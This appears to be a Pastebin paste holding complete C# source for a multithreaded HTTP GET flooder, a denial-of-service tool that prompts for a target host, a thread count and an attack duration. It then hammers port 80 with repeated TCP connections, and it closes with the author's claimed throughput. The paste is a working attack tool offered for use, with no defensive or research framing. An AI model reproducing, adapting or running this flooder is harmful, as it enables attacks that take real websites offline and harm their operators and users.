Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- multi threads http get flooder using tcp socket
- Kyxrecon
- Code:
- using System.Threading;
- using System.Net;
- using System.Net.Sockets;
- class Program
- {
- static bool run = true;
- static string GETrequest = "";
- static string host = "";
- static string hostt = "";
- static int counter = 0;
- static int threads = 0;
- static int ttm = 0;
- static int endttm = 0;
- static void Main(string[] args)
- {
- Console.Title = "HTTP Flooder";
- Console.ForegroundColor = ConsoleColor.White;
- Console.WriteLine("-- MultiThreads HTTP Flooder by SpaieN --\n");
- Console.Write("Host ( E.g: google.com ) : ");
- host = Console.ReadLine();
- hostt = Dns.GetHostAddresses(host)[0].ToString();
- GETrequest = "GET / HTTP/1.1\r\nHost: " + host + "\r\nConnection: keep-alive\r\nAccept: text/html\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\r\n\r\n";
- Console.Write("\nProgram Threads ( 5 <> 5000 ) : ");
- threads = int.Parse(Console.ReadLine());
- Console.Write("\nAttack time-seconds : ");
- int atm = int.Parse(Console.ReadLine());
- endttm = atm;
- Console.WriteLine("\nbuilding program Threads");
- for (int i = 0; i <= threads; i++)
- {
- new Thread(new ThreadStart(HTTPRequest)).Start();
- }
- new Thread(() => TimeCounter(atm)).Start();
- Console.WriteLine("#{0} Threads loaded", threads);
- Thread.Sleep(2000);
- while (run)
- {
- Thread.Sleep(30);
- Console.Clear();
- Console.WriteLine("#{0} HTTP Requests sent", counter);
- Console.WriteLine("#{0} Seconds for closing", endttm);
- }
- }
- static void HTTPRequest()
- {
- try
- {
- while (true)
- {
- Thread.Sleep(10);
- Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- socket.Connect(hostt, 80);
- socket.Send(Encoding.ASCII.GetBytes(GETrequest));
- socket.Close();
- counter++;
- }
- }
- catch { }
- }
- static void TimeCounter(int tt)
- {
- try
- {
- while (true)
- {
- Thread.Sleep(950);
- ttm++;
- endttm--;
- if (ttm >= tt) // program closing
- {
- run = false;
- Thread.Sleep(500);
- Environment.Exit(0);
- }
- }
- }
- catch { }
- }
- }
- ---------------------------
- my dstat result:
- 200 Threads & 50MB Internet speed = 130 Requests / sec
Advertisement
Add Comment
Please, Sign In to add comment